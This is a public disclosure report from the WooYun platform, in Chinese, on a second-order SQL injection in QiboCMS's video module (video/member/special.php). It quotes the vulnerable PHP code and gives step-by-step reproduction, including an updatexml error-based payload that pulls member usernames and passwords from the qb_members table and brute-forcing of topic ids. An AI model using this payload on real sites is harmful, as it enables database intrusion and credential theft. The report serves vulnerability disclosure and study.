当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116936

漏洞标题:齐博视频系统二次注入(出数据)

相关厂商:齐博CMS

漏洞作者: answer

提交时间:2015-05-29 15:00

修复时间:2015-09-01 15:03

公开时间:2015-09-01 15:03

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-29: 细节已通知厂商并且等待厂商处理中
2015-06-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-07-28: 细节向核心白帽子及相关领域专家公开
2015-08-07: 细节向普通白帽子公开
2015-08-17: 细节向实习白帽子公开
2015-09-01: 细节向公众公开

简要描述:

rt

详细说明:

齐博视频最新版
漏洞文件:video/member/special.php (发布专题的地方)
关键代码:
115-121行

elseif($job=='addsp')
{
if($step==2){
$yz=($groupdb[PassContributeSP]||$web_admin)?1:0;
$db->query("INSERT INTO `{$_pre}special` ( `fid` , `title` , `keywords` , `style` , `template` , `picurl` , `content` , `aids` ,`uid` , `username` , `posttime` , `list`, `allowpost`, `yz`, `banner` ) VALUES ('$postdb[fid]','$postdb[title]','$keywords','$style','','$postdb[picurl]','$postdb[content]','$aids','$lfjuid','$lfjid','$timestamp','$timestamp','$postdb[allowpost]','$yz','$postdb[banner]')");
refreshto("special.php?job=listsp","创建专题成功",1);
}


其中$aids没有初始化,由于伪全局的原因,所以用户可控。于是我们可以在这里向数据库引入单引号,虽然有全局转义,但是入库就被还原了。
出库的地方:(这个页面有很多出库的地方,我就挑一处来验证,其他请自查)
和上面是相同的文件
143-188行

elseif($job=="show_iframe"){

$rsdb=$db->get_one("SELECT * FROM {$_pre}special WHERE uid='$lfjuid' AND id='$id'");
if(!$rsdb){
showerr("资料不存在",1);
}
if($act=="order")
{

unset($array);

foreach( $listdb AS $aid=>$list){
$list=$list*1000000+$aid;
$array[$list]=$aid;
echo $listdb.$list.$aid;//自己的
}
ksort($array);
$rsdb[aids]=implode(",",$array);
$db->query("UPDATE {$_pre}special SET aids='$rsdb[aids]' WHERE uid='$lfjuid' AND id='$id'");
}
if($act=="add"&&$aid)
{
unset($_detail);
$detail=explode(",",$rsdb[aids]);
if(count($detail)>100){
showerr("记录已到上限!",1);
}
if(!in_array($aid,$detail)){
if($detail[0]==''){unset($detail[0]);}
$_detail[a]=$aid;
$rsdb[aids]=$string=implode(",",array_merge($_detail,$detail));
$db->query("UPDATE {$_pre}special SET aids='$string' WHERE uid='$lfjuid' AND id='$id'");
}
}
if($act=="del"&&$aid)
{

$detail=explode(",",$rsdb[aids]);
foreach( $detail AS $key=>$value){
if($value==$aid){
unset($detail[$key]);
}
}
$rsdb[aids]=$string=implode(",",$detail);
$db->query("UPDATE {$_pre}special SET aids='$string' WHERE uid='$lfjuid' AND id='$id'");
}


在条件if($act=="del"&&$aid)满足的情况下会进行一个update的操作,$string就是从我们上一步入库的地方查询出来再赋值的,而这里$string没有任何过滤和转义就造成了注
证明在下面:

漏洞证明:

注:这里需要管理员在后台权限设置的地方开启会员发专题的权限,稍微有点局限的的方,但是大部分网站肯定会开的,不然设计这个功能来干嘛。。
1.先注册会员
2.来到 站内消息->视频系统->专题管理

1.png


点击发表专题

22.png


调好专题的内容,提交并且截包,在请求的地方添加,就是我画红线的地方,注意一定是加号而不是空格,#用url编码。

11'+or+updatexml(1,concat(0x7e,(SELECT+concat(username,0x7e,password)+FROM+qb_members+limit+0,1)),1)%23


33.png


看数据库

44.png


成功插入语句
现在就是出数据的地方了,直接访问
http://xx.com/video/member/special.php?job=show_iframe&act=del&aid=2&id=21
其中的id就是我们发表的专题的id,我们是不知道的,这太容易解决了,用burp爆破id看看返回包就可以了,很容易的毕竟纯数字。
看结果

QQ图片20150529135401.png


修复方案:

你懂的,出库检查

版权声明:转载请注明来源 answer@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-01 15:03

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无